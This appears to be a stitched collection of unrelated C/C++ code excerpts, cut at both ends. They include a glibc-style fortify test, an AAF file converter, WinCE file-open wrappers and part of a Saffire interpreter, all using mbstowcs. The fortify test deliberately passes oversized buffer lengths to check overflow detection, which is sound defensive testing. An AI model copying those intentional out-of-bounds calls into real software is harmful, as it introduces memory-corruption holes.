FAIL (); rewind (stdin); if (fgets (buf, l0 + sizeof (buf), stdin) != buf || memcmp (buf, "abcdefgh\n", 10)) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START if (fgets (buf, sizeof (buf) + 1, stdin) != buf) FAIL (); CHK_FAIL_END CHK_FAIL_START if (fgets (buf, l0 + sizeof (buf) + 1, stdin) != buf) FAIL (); CHK_FAIL_END #endif rewind (stdin); if (fgets_unlocked (buf, sizeof (buf), stdin) != buf || memcmp (buf, "abcdefgh\n", 10)) FAIL (); if (fgets_unlocked (buf, sizeof (buf), stdin) != buf || memcmp (buf, "ABCDEFGHI", 10)) FAIL (); rewind (stdin); if (fgets_unlocked (buf, l0 + sizeof (buf), stdin) != buf || memcmp (buf, "abcdefgh\n", 10)) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START if (fgets_unlocked (buf, sizeof (buf) + 1, stdin) != buf) FAIL (); CHK_FAIL_END CHK_FAIL_START if (fgets_unlocked (buf, l0 + sizeof (buf) + 1, stdin) != buf) FAIL (); CHK_FAIL_END #endif rewind (stdin); if (fread (buf, 1, sizeof (buf), stdin) != sizeof (buf) || memcmp (buf, "abcdefgh\nA", 10)) FAIL (); if (fread (buf, sizeof (buf), 1, stdin) != 1 || memcmp (buf, "BCDEFGHI\na", 10)) FAIL (); rewind (stdin); if (fread (buf, l0 + 1, sizeof (buf), stdin) != sizeof (buf) || memcmp (buf, "abcdefgh\nA", 10)) FAIL (); if (fread (buf, sizeof (buf), l0 + 1, stdin) != 1 || memcmp (buf, "BCDEFGHI\na", 10)) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START if (fread (buf, 1, sizeof (buf) + 1, stdin) != sizeof (buf) + 1) FAIL (); CHK_FAIL_END CHK_FAIL_START if (fread (buf, sizeof (buf) + 1, l0 + 1, stdin) != 1) FAIL (); CHK_FAIL_END #endif rewind (stdin); if (fread_unlocked (buf, 1, sizeof (buf), stdin) != sizeof (buf) || memcmp (buf, "abcdefgh\nA", 10)) FAIL (); if (fread_unlocked (buf, sizeof (buf), 1, stdin) != 1 || memcmp (buf, "BCDEFGHI\na", 10)) FAIL (); rewind (stdin); if (fread_unlocked (buf, 1, 4, stdin) != 4 || memcmp (buf, "abcdFGHI\na", 10)) FAIL (); if (fread_unlocked (buf, 4, 1, stdin) != 1 || memcmp (buf, "efghFGHI\na", 10)) FAIL (); rewind (stdin); if (fread_unlocked (buf, l0 + 1, sizeof (buf), stdin) != sizeof (buf) || memcmp (buf, "abcdefgh\nA", 10)) FAIL (); if (fread_unlocked (buf, sizeof (buf), l0 + 1, stdin) != 1 || memcmp (buf, "BCDEFGHI\na", 10)) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START if (fread_unlocked (buf, 1, sizeof (buf) + 1, stdin) != sizeof (buf) + 1) FAIL (); CHK_FAIL_END CHK_FAIL_START if (fread_unlocked (buf, sizeof (buf) + 1, l0 + 1, stdin) != 1) FAIL (); CHK_FAIL_END #endif lseek (fileno (stdin), 0, SEEK_SET); if (read (fileno (stdin), buf, sizeof (buf) - 1) != sizeof (buf) - 1 || memcmp (buf, "abcdefgh\n", 9)) FAIL (); if (read (fileno (stdin), buf, sizeof (buf) - 1) != sizeof (buf) - 1 || memcmp (buf, "ABCDEFGHI", 9)) FAIL (); lseek (fileno (stdin), 0, SEEK_SET); if (read (fileno (stdin), buf, l0 + sizeof (buf) - 1) != sizeof (buf) - 1 || memcmp (buf, "abcdefgh\n", 9)) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START if (read (fileno (stdin), buf, sizeof (buf) + 1) != sizeof (buf) + 1) FAIL (); CHK_FAIL_END #endif if (pread (fileno (stdin), buf, sizeof (buf) - 1, sizeof (buf) - 2) != sizeof (buf) - 1 || memcmp (buf, "\nABCDEFGH", 9)) FAIL (); if (pread (fileno (stdin), buf, sizeof (buf) - 1, 0) != sizeof (buf) - 1 || memcmp (buf, "abcdefgh\n", 9)) FAIL (); if (pread (fileno (stdin), buf, l0 + sizeof (buf) - 1, sizeof (buf) - 3) != sizeof (buf) - 1 || memcmp (buf, "h\nABCDEFG", 9)) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START if (pread (fileno (stdin), buf, sizeof (buf) + 1, 2 * sizeof (buf)) != sizeof (buf) + 1) FAIL (); CHK_FAIL_END #endif if (pread64 (fileno (stdin), buf, sizeof (buf) - 1, sizeof (buf) - 2) != sizeof (buf) - 1 || memcmp (buf, "\nABCDEFGH", 9)) FAIL (); if (pread64 (fileno (stdin), buf, sizeof (buf) - 1, 0) != sizeof (buf) - 1 || memcmp (buf, "abcdefgh\n", 9)) FAIL (); if (pread64 (fileno (stdin), buf, l0 + sizeof (buf) - 1, sizeof (buf) - 3) != sizeof (buf) - 1 || memcmp (buf, "h\nABCDEFG", 9)) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START if (pread64 (fileno (stdin), buf, sizeof (buf) + 1, 2 * sizeof (buf)) != sizeof (buf) + 1) FAIL (); CHK_FAIL_END #endif if (freopen (temp_filename, "r", stdin) == NULL) { puts ("could not open temporary file"); exit (1); } if (fseek (stdin, 9 + 10 + 11, SEEK_SET)) { puts ("could not seek in test file"); exit (1); } #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START if (gets (buf) != buf) FAIL (); CHK_FAIL_END #endif /* Check whether missing N$ formats are detected. */ CHK_FAIL2_START printf ("%3$d\n", 1, 2, 3, 4); CHK_FAIL2_END CHK_FAIL2_START fprintf (stdout, "%3$d\n", 1, 2, 3, 4); CHK_FAIL2_END CHK_FAIL2_START sprintf (buf, "%3$d\n", 1, 2, 3, 4); CHK_FAIL2_END CHK_FAIL2_START snprintf (buf, sizeof (buf), "%3$d\n", 1, 2, 3, 4); CHK_FAIL2_END int sp[2]; if (socketpair (PF_UNIX, SOCK_STREAM, 0, sp)) FAIL (); else { const char *sendstr = "abcdefgh\nABCDEFGH\n0123456789\n"; if ((size_t) send (sp[0], sendstr, strlen (sendstr), 0) != strlen (sendstr)) FAIL (); char recvbuf[12]; if (recv (sp[1], recvbuf, sizeof recvbuf, MSG_PEEK) != sizeof recvbuf || memcmp (recvbuf, sendstr, sizeof recvbuf) != 0) FAIL (); if (recv (sp[1], recvbuf + 6, l0 + sizeof recvbuf - 7, MSG_PEEK) != sizeof recvbuf - 7 || memcmp (recvbuf + 6, sendstr, sizeof recvbuf - 7) != 0) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START if (recv (sp[1], recvbuf + 1, sizeof recvbuf, MSG_PEEK) != sizeof recvbuf) FAIL (); CHK_FAIL_END CHK_FAIL_START if (recv (sp[1], recvbuf + 4, l0 + sizeof recvbuf - 3, MSG_PEEK) != sizeof recvbuf - 3) FAIL (); CHK_FAIL_END #endif socklen_t sl; struct sockaddr_un sa_un; sl = sizeof (sa_un); if (recvfrom (sp[1], recvbuf, sizeof recvbuf, MSG_PEEK, (struct sockaddr *) &sa_un, &sl) != sizeof recvbuf || memcmp (recvbuf, sendstr, sizeof recvbuf) != 0) FAIL (); sl = sizeof (sa_un); if (recvfrom (sp[1], recvbuf + 6, l0 + sizeof recvbuf - 7, MSG_PEEK, (struct sockaddr *) &sa_un, &sl) != sizeof recvbuf - 7 || memcmp (recvbuf + 6, sendstr, sizeof recvbuf - 7) != 0) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START sl = sizeof (sa_un); if (recvfrom (sp[1], recvbuf + 1, sizeof recvbuf, MSG_PEEK, (struct sockaddr *) &sa_un, &sl) != sizeof recvbuf) FAIL (); CHK_FAIL_END CHK_FAIL_START sl = sizeof (sa_un); if (recvfrom (sp[1], recvbuf + 4, l0 + sizeof recvbuf - 3, MSG_PEEK, (struct sockaddr *) &sa_un, &sl) != sizeof recvbuf - 3) FAIL (); CHK_FAIL_END #endif close (sp[0]); close (sp[1]); } char fname[] = "/tmp/tst-chk1-dir-XXXXXX\0foo"; char *enddir = strchr (fname, '\0'); if (mkdtemp (fname) == NULL) { printf ("mkdtemp failed: %m\n"); return 1; } *enddir = '/'; if (symlink ("bar", fname) != 0) FAIL (); char readlinkbuf[4]; if (readlink (fname, readlinkbuf, 4) != 3 || memcmp (readlinkbuf, "bar", 3) != 0) FAIL (); if (readlink (fname, readlinkbuf + 1, l0 + 3) != 3 || memcmp (readlinkbuf, "bbar", 4) != 0) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START if (readlink (fname, readlinkbuf + 2, l0 + 3) != 3) FAIL (); CHK_FAIL_END CHK_FAIL_START if (readlink (fname, readlinkbuf + 3, 4) != 3) FAIL (); CHK_FAIL_END #endif int tmpfd = open ("/tmp", O_RDONLY | O_DIRECTORY); if (tmpfd < 0) FAIL (); if (readlinkat (tmpfd, fname + sizeof ("/tmp/") - 1, readlinkbuf, 4) != 3 || memcmp (readlinkbuf, "bar", 3) != 0) FAIL (); if (readlinkat (tmpfd, fname + sizeof ("/tmp/") - 1, readlinkbuf + 1, l0 + 3) != 3 || memcmp (readlinkbuf, "bbar", 4) != 0) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START if (readlinkat (tmpfd, fname + sizeof ("/tmp/") - 1, readlinkbuf + 2, l0 + 3) != 3) FAIL (); CHK_FAIL_END CHK_FAIL_START if (readlinkat (tmpfd, fname + sizeof ("/tmp/") - 1, readlinkbuf + 3, 4) != 3) FAIL (); CHK_FAIL_END #endif close (tmpfd); char *cwd1 = getcwd (NULL, 0); if (cwd1 == NULL) FAIL (); char *cwd2 = getcwd (NULL, 250); if (cwd2 == NULL) FAIL (); if (cwd1 && cwd2) { if (strcmp (cwd1, cwd2) != 0) FAIL (); *enddir = '\0'; if (chdir (fname)) FAIL (); char *cwd3 = getcwd (NULL, 0); if (cwd3 == NULL) FAIL (); if (strcmp (fname, cwd3) != 0) printf ("getcwd after chdir is '%s' != '%s'," "get{c,}wd tests skipped\n", cwd3, fname); else { char getcwdbuf[sizeof fname - 3]; char *cwd4 = getcwd (getcwdbuf, sizeof getcwdbuf); if (cwd4 != getcwdbuf || strcmp (getcwdbuf, fname) != 0) FAIL (); cwd4 = getcwd (getcwdbuf + 1, l0 + sizeof getcwdbuf - 1); if (cwd4 != getcwdbuf + 1 || getcwdbuf[0] != fname[0] || strcmp (getcwdbuf + 1, fname) != 0) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START if (getcwd (getcwdbuf + 2, l0 + sizeof getcwdbuf) != getcwdbuf + 2) FAIL (); CHK_FAIL_END CHK_FAIL_START if (getcwd (getcwdbuf + 2, sizeof getcwdbuf) != getcwdbuf + 2) FAIL (); CHK_FAIL_END #endif if (getwd (getcwdbuf) != getcwdbuf || strcmp (getcwdbuf, fname) != 0) FAIL (); if (getwd (getcwdbuf + 1) != getcwdbuf + 1 || strcmp (getcwdbuf + 1, fname) != 0) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START if (getwd (getcwdbuf + 2) != getcwdbuf + 2) FAIL (); CHK_FAIL_END #endif } if (chdir (cwd1) != 0) FAIL (); free (cwd3); } free (cwd1); free (cwd2); *enddir = '/'; if (unlink (fname) != 0) FAIL (); *enddir = '\0'; if (rmdir (fname) != 0) FAIL (); #if PATH_MAX > 0 char largebuf[PATH_MAX]; char *realres = realpath (".", largebuf); if (realres != largebuf) FAIL (); # if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START char realbuf[1]; realres = realpath (".", realbuf); if (realres != realbuf) FAIL (); CHK_FAIL_END # endif #endif #if __OPTION_POSIX_C_LANG_WIDE_CHAR if (setlocale (LC_ALL, "de_DE.UTF-8") != NULL) { assert (MB_CUR_MAX <= 10); /* First a simple test. */ char enough[10]; if (wctomb (enough, L'A') != 1) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 /* We know the wchar_t encoding is ISO 10646. So pick a character which has a multibyte representation which does not fit. */ CHK_FAIL_START char smallbuf[2]; if (wctomb (smallbuf, L'\x100') != 2) FAIL (); CHK_FAIL_END #endif mbstate_t s; memset (&s, '\0', sizeof (s)); if (wcrtomb (enough, L'D', &s) != 1 || enough[0] != 'D') FAIL (); #if __USE_FORTIFY_LEVEL >= 1 /* We know the wchar_t encoding is ISO 10646. So pick a character which has a multibyte representation which does not fit. */ CHK_FAIL_START char smallbuf[2]; if (wcrtomb (smallbuf, L'\x100', &s) != 2) FAIL (); CHK_FAIL_END #endif wchar_t wenough[10]; memset (&s, '\0', sizeof (s)); const char *cp = "A"; if (mbsrtowcs (wenough, &cp, 10, &s) != 1 || wcscmp (wenough, L"A") != 0) FAIL (); cp = "BC"; if (mbsrtowcs (wenough, &cp, l0 + 10, &s) != 2 || wcscmp (wenough, L"BC") != 0) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START wchar_t wsmallbuf[2]; cp = "ABC"; mbsrtowcs (wsmallbuf, &cp, 10, &s); CHK_FAIL_END #endif cp = "A"; if (mbstowcs (wenough, cp, 10) != 1 || wcscmp (wenough, L"A") != 0) FAIL (); cp = "DEF"; if (mbstowcs (wenough, cp, l0 + 10) != 3 || wcscmp (wenough, L"DEF") != 0) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START wchar_t wsmallbuf[2]; cp = "ABC"; mbstowcs (wsmallbuf, cp, 10); CHK_FAIL_END #endif memset (&s, '\0', sizeof (s)); cp = "ABC"; wcscpy (wenough, L"DEF"); if (mbsnrtowcs (wenough, &cp, 1, 10, &s) != 1 || wcscmp (wenough, L"AEF") != 0) FAIL (); cp = "IJ"; if (mbsnrtowcs (wenough, &cp, 1, l0 + 10, &s) != 1 || wcscmp (wenough, L"IEF") != 0) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START wchar_t wsmallbuf[2]; cp = "ABC"; mbsnrtowcs (wsmallbuf, &cp, 3, 10, &s); CHK_FAIL_END #endif memset (&s, '\0', sizeof (s)); const wchar_t *wcp = L"A"; if (wcsrtombs (enough, &wcp, 10, &s) != 1 || strcmp (enough, "A") != 0) FAIL (); wcp = L"BC"; if (wcsrtombs (enough, &wcp, l0 + 10, &s) != 2 || strcmp (enough, "BC") != 0) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START char smallbuf[2]; wcp = L"ABC"; wcsrtombs (smallbuf, &wcp, 10, &s); CHK_FAIL_END #endif memset (enough, 'Z', sizeof (enough)); wcp = L"EF"; if (wcstombs (enough, wcp, 10) != 2 || strcmp (enough, "EF") != 0) FAIL (); wcp = L"G"; if (wcstombs (enough, wcp, l0 + 10) != 1 || strcmp (enough, "G") != 0) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START char smallbuf[2]; wcp = L"ABC"; wcstombs (smallbuf, wcp, 10); CHK_FAIL_END #endif memset (&s, '\0', sizeof (s)); wcp = L"AB"; if (wcsnrtombs (enough, &wcp, 1, 10, &s) != 1 || strcmp (enough, "A") != 0) FAIL (); wcp = L"BCD"; if (wcsnrtombs (enough, &wcp, 1, l0 + 10, &s) != 1 || strcmp (enough, "B") != 0) FAIL (); #if __USE_FORTIFY_LEVEL >= 1 CHK_FAIL_START char smallbuf[2]; wcp = L"ABC"; wcsnrtombs (smallbuf, &wcp, 3, 10, &s); CHK_FAIL_END #endif }
int main(int argc, char *argv[]) { if (argc != 4 || (strcmp(argv[1], "-xml") != 0 && strcmp(argv[1], "-ss") != 0)) { Usage(argc, argv); exit(1); } aafCharacter *inFileName = new aafCharacter[strlen(argv[2]) + 1]; aafCharacter *outFileName = new aafCharacter[strlen(argv[3]) + 1]; size_t status = mbstowcs(inFileName, argv[2], strlen(argv[2])); if (status == (size_t)-1) { fprintf(stderr, "\nError: Failed to convert filename '%s' to a wide string.", argv[2]); exit(1); } status = mbstowcs(outFileName, argv[3], strlen(argv[3])); if (status == (size_t)-1) { fprintf(stderr, "\nError: Failed to convert filename '%s' to a wide string.", argv[3]); exit(1); } inFileName[strlen(argv[2])] = 0; outFileName[strlen(argv[3])] = 0; // remove the output file if it already exists remove(argv[3]); CAAFInitialize aafInit; IAAFFile* inFile = 0; IAAFFile* outFile = 0; check(AAFFileOpenExistingRead(inFileName, 0, &inFile)); aafProductVersion_t v; v.major = 0; v.minor = 1; v.tertiary = 0; v.patchLevel = 0; v.type = kAAFVersionUnknown; const aafUID_t productUID = {0x97e04c67, 0xdbe6, 0x4d11, {0xbc, 0xd7, 0x3a, 0x90, 0x42, 0x53, 0xa2, 0xef}}; aafProductIdentification_t productInfo; aafWChar companyName[] = L"AMW Association"; aafWChar productName[] = L"aaffmtconv"; productInfo.companyName = companyName; productInfo.productName = productName; productInfo.productVersion = &v; productInfo.productVersionString = 0; productInfo.productID = productUID; productInfo.platform = 0; // create output file based on choice of stored format if (strcmp(argv[1], "-xml") == 0) { check(AAFFileOpenNewModifyEx(outFileName, &kAAFFileKind_AafXmlText, 0, &productInfo, &outFile)); } else { check(AAFFileOpenNewModify(outFileName, 0, &productInfo, &outFile)); } // save copy using the selected stored format check(inFile->SaveCopyAs(outFile)); check(outFile->Close()); check(inFile->Close()); outFile->Release(); outFile = 0; inFile->Release(); inFile = 0; delete [] inFileName; delete [] outFileName; return 0; }
int _wceopen(const char *file, int mode, int pmode) { /// TODO : since this function do not support parameters checking (i.e. would be regular to specifi O_CREATE and O_APPEND together), /// use with caution referring to documentation WCHAR wfile [MAX_PATH] = {0}; DWORD access=GENERIC_READ, share=FILE_SHARE_READ|FILE_SHARE_WRITE, create=OPEN_EXISTING, attr=FILE_ATTRIBUTE_NORMAL; DWORD err = 0; HANDLE h; if( (mode & O_RDWR) || (mode & O_APPEND)) { access = GENERIC_READ|GENERIC_WRITE; } if( (mode & O_WRONLY)) { access = GENERIC_WRITE; } if( (mode & O_TRUNC)) { access = GENERIC_WRITE; create = TRUNCATE_EXISTING; } if (mode & O_NOINHERIT) { share = 0; } if (mode & O_TEMPORARY) { attr = FILE_ATTRIBUTE_TEMPORARY; } if (mode & _O_SHORT_LIVED) { attr = FILE_ATTRIBUTE_TEMPORARY|FILE_FLAG_DELETE_ON_CLOSE; } if( (mode & O_CREAT)) { create = CREATE_ALWAYS; } if (mode & O_RANDOM) { attr |= FILE_FLAG_RANDOM_ACCESS; } if (mode & O_SEQUENTIAL) { attr |= FILE_FLAG_SEQUENTIAL_SCAN; } mbstowcs(wfile,file,MAX_PATH); h = CreateFileW(wfile, access, share, NULL, create, attr, NULL ); if (h == INVALID_HANDLE_VALUE) { err = GetLastError(); if (err == ERROR_FILE_NOT_FOUND || err == ERROR_PATH_NOT_FOUND) errno = ENOENT; else if (err == ERROR_ACCESS_DENIED) errno = EACCES; else if (err == ERROR_ALREADY_EXISTS) errno = EEXIST; return -1; } else { if( (mode & O_EXCL)) { CloseHandle(h); errno = EEXIST; return -1; } } return (int)h; }
int _open_r(struct _reent *reent, const char *path, int flags, int mode) { wchar_t wpath[MAX_PATH]; char pathbuf[MAX_PATH]; HANDLE hnd = NULL; DWORD fileaccess; DWORD fileshare; DWORD filecreate; DWORD fileattrib; void *cxt; int fd; WCETRACE(WCE_IO, "open(%s, %x, %o)", path, flags, mode); _initfds(); if (!strncmp("fifo", path, 4)) { fd = _assignfd(IO_FILE_TYPE_FIFO, NULL, 0); if (fd < 0) { errno = ENMFILE; return(-1); } _fdtab[fd].devops = _fifo_devops; _fdtab[fd].cxt = cxt = _fifo_alloc(); if ((_fdtab[fd].fd = _fdtab[fd].devops->open_r(reent, path, flags, mode, cxt)) == -1) { WCETRACE(WCE_IO, "FIFO open fails, errno %d", errno); _fdtab[fd].fd = -1; return(-1); } } else if(!strncmp(path, "nul", 3) || !strncmp(path, "nul:", 4) || !strncmp(path, "null:", 5) || !strncmp(path, "/dev/nul", 8) || !strncmp(path, "/dev/null", 9)) { fd = _assignfd(IO_FILE_TYPE_NULL, (HANDLE) -1, 0); if (fd < 0) { errno = ENMFILE; return(-1); } _fdtab[fd].devops = NULL; _fdtab[fd].cxt = NULL; } else { if (strlen(path) >= MAX_PATH) { WCETRACE(WCE_IO, "open fails, invalid path\n"); return(-1); } fixpath(path, pathbuf); mbstowcs(wpath, pathbuf, strlen(pathbuf) + 1); fileshare = FILE_SHARE_READ|FILE_SHARE_WRITE; fileattrib = FILE_ATTRIBUTE_NORMAL; switch (flags & (O_RDONLY | O_WRONLY | O_RDWR)) { case O_RDONLY: /* read access */ fileaccess = GENERIC_READ; break; case O_WRONLY: /* write access */ fileaccess = GENERIC_WRITE; break; case O_RDWR: /* read and write access */ fileaccess = GENERIC_READ | GENERIC_WRITE; break; default: /* error, bad flags */ errno = EINVAL; return -1; } switch (flags & (O_CREAT | O_EXCL | O_TRUNC)) { case 0: case O_EXCL: /* ignore EXCL w/o CREAT */ filecreate = OPEN_EXISTING; break; case O_CREAT: filecreate = OPEN_ALWAYS; break; case O_CREAT | O_EXCL: case O_CREAT | O_TRUNC | O_EXCL: filecreate = CREATE_NEW; break; case O_TRUNC: case O_TRUNC | O_EXCL: /* ignore EXCL w/o CREAT */ filecreate = TRUNCATE_EXISTING; break; case O_CREAT | O_TRUNC: filecreate = CREATE_ALWAYS; break; default: /* this can't happen ... all cases are covered */ errno = EINVAL; return(-1); } if ((hnd = _CreateFileW(wpath, fileaccess, fileshare, NULL, filecreate, fileattrib, NULL)) == INVALID_HANDLE_VALUE) { errno = _winerr2errno(GetLastError()); WCETRACE(WCE_IO, "_CreateFile(%s): errno=%d oserr=%d\n", pathbuf, errno, GetLastError()); return(-1); } fd = _assignfd(IO_FILE_TYPE_FILE, hnd, 0); if (fd < 0) { errno = ENMFILE; return(-1); } _fdtab[fd].devops = NULL; _fdtab[fd].cxt = NULL; if (flags & O_APPEND) { _SetFilePointer(hnd, 0, NULL, FILE_END); } } WCETRACE(WCE_IO, "open returns %d fd %d cxt %p (hnd %x)", fd, _fdtab[fd].fd, cxt, hnd); return fd; }
static t_snode *_interpreter(t_ast_element *p) { t_object *obj, *obj1, *obj2, *obj3; t_snode *node1, *node2, *node3; int initial_loop; t_ast_element *hte; char *ctx_name, *name; wchar_t *wchar_tmp; t_dll *dll; t_scope *scope; // Append to lineno dll_append(lineno_stack, (void *)p->lineno); // No element found, return NULL object if (!p) { RETURN_SNODE_OBJECT(Object_Null); } switch (p->type) { case typeAstNull : RETURN_SNODE_NULL(); break; case typeAstInterface: // @TODO RETURN_SNODE_NULL(); break; case typeAstString : DEBUG_PRINT("new string object: '%s'\n", p->string.value); // Allocate enough room to hold string in wchar and convert int len = strlen(p->string.value) * sizeof(wchar_t); wchar_tmp = (wchar_t *)smm_malloc(len * sizeof(wchar_t)); memset(wchar_tmp, 0, len * sizeof(wchar_t)); mbstowcs(wchar_tmp, p->string.value, strlen(p->string.value)); // create string object obj = object_new(Object_String, wchar_tmp); // Free tmp wide string smm_free(wchar_tmp); RETURN_SNODE_OBJECT(obj); break; case typeAstNumerical : DEBUG_PRINT("new numerical object: %d\n", p->numerical.value); // Create numerical object obj = object_new(Object_Numerical, p->numerical.value); RETURN_SNODE_OBJECT(obj); break; case typeAstIdentifier : // Do constant vars if (strcasecmp(p->string.value, "True") == 0) { //RETURN_SNODE_OBJECT(Object_True); RETURN_SNODE_IDENTIFIER(NULL, Object_True); } if (strcasecmp(p->string.value, "False") == 0) { DEBUG_PRINT("Retuning false!"); //RETURN_SNODE_OBJECT(Object_False); RETURN_SNODE_IDENTIFIER(NULL, Object_False); } if (strcasecmp(p->string.value, "Null") == 0) { //RETURN_SNODE_OBJECT(Object_Null); RETURN_SNODE_IDENTIFIER(NULL, Object_Null); } obj = si_find_var_in_context(p->string.value, NULL); RETURN_SNODE_IDENTIFIER(p->string.value, obj); break; case typeAstClass : obj = (t_object *)smm_malloc(sizeof(t_object)); obj->ref_count = 0; obj->type = objectTypeAny; obj->name = smm_strdup(p->class.name); obj->flags = OBJECT_TYPE_CLASS; obj->parent = NULL; obj->implement_count = 0; obj->implements = NULL; obj->methods = ht_create(); obj->properties = ht_create(); obj->constants = ht_create(); obj->operators = NULL; obj->comparisons = NULL; obj->funcs = &user_funcs; // @TODO: Add modifier flags to obj->flags // Check extends obj->parent = Object_Base; // Interpret body. t_object *saved_obj = current_obj; current_obj = obj; _interpreter(p->class.body); current_obj = saved_obj; // Add the object to the current context t_ns_context *ctx = si_get_current_context(); si_context_add_object(ctx, obj); break; case typeAstMethod : if (current_obj == NULL) { saffire_error("Trying to define a method outside a class. This should be caught by the parser!"); } DEBUG_PRINT("Adding method: %s to %s\n", p->method.name, current_obj->name); // @TODO: ADD FLAGS AND VISIBILITY int vis = 0; if (p->method.modifiers & MODIFIER_PUBLIC) vis |= METHOD_VISIBILITY_PUBLIC; if (p->method.modifiers & MODIFIER_PROTECTED) vis |= METHOD_VISIBILITY_PROTECTED; if (p->method.modifiers & MODIFIER_PRIVATE) vis |= METHOD_VISIBILITY_PRIVATE; int flags = 0; if (p->method.modifiers & MODIFIER_FINAL) flags |= METHOD_FLAG_FINAL; if (p->method.modifiers & MODIFIER_ABSTRACT) flags |= METHOD_FLAG_ABSTRACT; if (p->method.modifiers & MODIFIER_STATIC) flags |= METHOD_FLAG_STATIC; object_add_external_method(current_obj, p->method.name, flags, vis, p->method.body); break; case typeAstOpr : DEBUG_PRINT("opr.oper: %s(%d)\n", get_token_string(p->opr.oper), p->opr.oper); switch (p->opr.oper) { case T_PROGRAM : SI0(p); // parse use declarations SI1(p); // parse top statements break; case T_TOP_STATEMENTS: case T_USE_STATEMENTS: case T_STATEMENTS : for (int i=0; i!=OP_CNT(p); i++) { _interpreter(p->opr.ops[i]); } // Statements do not return anything RETURN_SNODE_NULL(); // (well, it should) break; case T_IMPORT : // Class to import node1 = SI0(p); obj1 = si_get_object(node1); char *classname = OBJ2STR(obj1); // Fetch alias node2 = SI1(p); if (IS_NULL(node2)) { node2 = node1; // Alias X as X if needed } obj2 = si_get_object(node2); char *alias = OBJ2STR(obj2); // context to import from node3 = SI2(p); obj3 = si_get_object(node3); ctx_name = OBJ2STR(obj3); // Check if variable is free if (si_find_var_in_context(alias, NULL)) { saffire_error("A variable named %s is already present or imported.", alias); } // Find class in context ctx = si_get_context(ctx_name); if (ctx == NULL) { saffire_error("Cannot find context: %s", ctx_name); } obj = si_find_var_in_context(classname, ctx); if (! obj) { saffire_error("Cannot find class %s inside context: %s", classname, ctx_name); } // Add the object to the current context as the alias variable si_create_var_in_context(alias, NULL, obj, CTX_CREATE_ONLY); DEBUG_PRINT("Imported class %s as %s from %s into %s\n", classname, alias, ctx_name, ctx->name); break; case T_USE : // Class to use node1 = SI0(p); obj1 = si_get_object(node1); name = OBJ2STR(obj1); if (OP_CNT(p) > 1) { // Fetch alias node2 = SI1(p); if (IS_NULL(node2)) { node2 = node1; // Alias X as X } } else { node2 = node1; // Alias X as X } obj2 = si_get_object(node2); alias = OBJ2STR(obj2); // Check if variable is free ctx = si_find_context(alias); if (ctx != NULL) { saffire_error("A context named %s is already present or imported.", alias); } ctx = si_find_context(name); if (ctx == NULL) { saffire_error("Context %s was not found.", name); } si_create_context_alias(alias, ctx); break; case T_RETURN : // Check the current scope. scope = get_current_scope(); if (scope->depth == 1) { DEBUG_PRINT("Cannot leave the global scope!"); } node1 = SI0(p); obj = si_get_object(node1); RETURN_SNODE_OBJECT(obj); break; case T_EXPRESSIONS : // No expression, just return NULL if (OP_CNT(p) == 0) { RETURN_SNODE_NULL(); } // Do all expressions for (int i=0; i!=OP_CNT(p); i++) { node1 = _interpreter(p->opr.ops[i]); // Remember the first node if (i == 0) node2 = node1; } return node2; break; case T_ASSIGNMENT : // Fetch LHS node node1 = SI0(p); // it should be a variable, otherwise we cannot write to it.. // @TODO: THIS IS WRONG. AN ID ALWAYS HAS AN KEY? if (! HAS_IDENTIFIER_ID(node1)) { saffire_error("Left hand side is not writable!"); } // Check if we have a normal assignment. We only support this for now... t_ast_element *e = p->opr.ops[1]; if (e->type != typeAstOpr || e->opr.oper != T_ASSIGNMENT) { saffire_error("We only support = assignments (no += etc)"); } // Evaluate the RHS node3 = SI2(p); // Get the object and store it obj1 = si_get_object(node3); si_set_object(node1, obj1); RETURN_SNODE_OBJECT(obj1); break; /** * Control structures */ case T_DO : do { // Always execute our inner block at least once SI0(p); // Check condition node1 = SI1(p); obj1 = si_get_object(node1); // Check if it's already a boolean. If not, cast this object to boolean if (! OBJECT_IS_BOOLEAN(obj1)) { obj2 = object_find_method(obj1, "boolean"); obj1 = object_call(obj1, obj2, 0); } // False, we can break our do-loop if (obj1 == Object_False) { break; } } while (1); RETURN_SNODE_NULL(); break; case T_WHILE : initial_loop = 1; while (1) { // Check condition first node1 = SI0(p); obj1 = si_get_object(node1); // Check if it's already a boolean. If not, cast this object to boolean if (! OBJECT_IS_BOOLEAN(obj1)) { obj2 = object_find_method(obj1, "boolean"); obj1 = object_call(obj1, obj2, 0); } // if condition is true, execute our inner block if (obj1 == Object_True) { SI1(p); } else { // If the first loop is false and we've got an else statement, execute it. if (initial_loop && OP_CNT(p) > 2) { SI2(p); } break; } initial_loop = 0; } RETURN_SNODE_NULL(); break; case T_FOR : // Evaluate first part node1 = SI0(p); while (1) { // Check condition first node2 = SI1(p); obj1 = si_get_object(node2); // Check if it's already a boolean. If not, cast this object to boolean if (! OBJECT_IS_BOOLEAN(obj1)) { obj2 = object_find_method(obj1, "boolean"); obj1 = object_call(obj1, obj2, 0); } // if condition is not true, break our loop if (obj1 != Object_True) { break; } // Condition is true, execute our inner loop SI3(p); // Finally, evaluate our last block SI2(p); } // All done break; /** * Conditional statements */ case T_IF: node1 = SI0(p); obj1 = 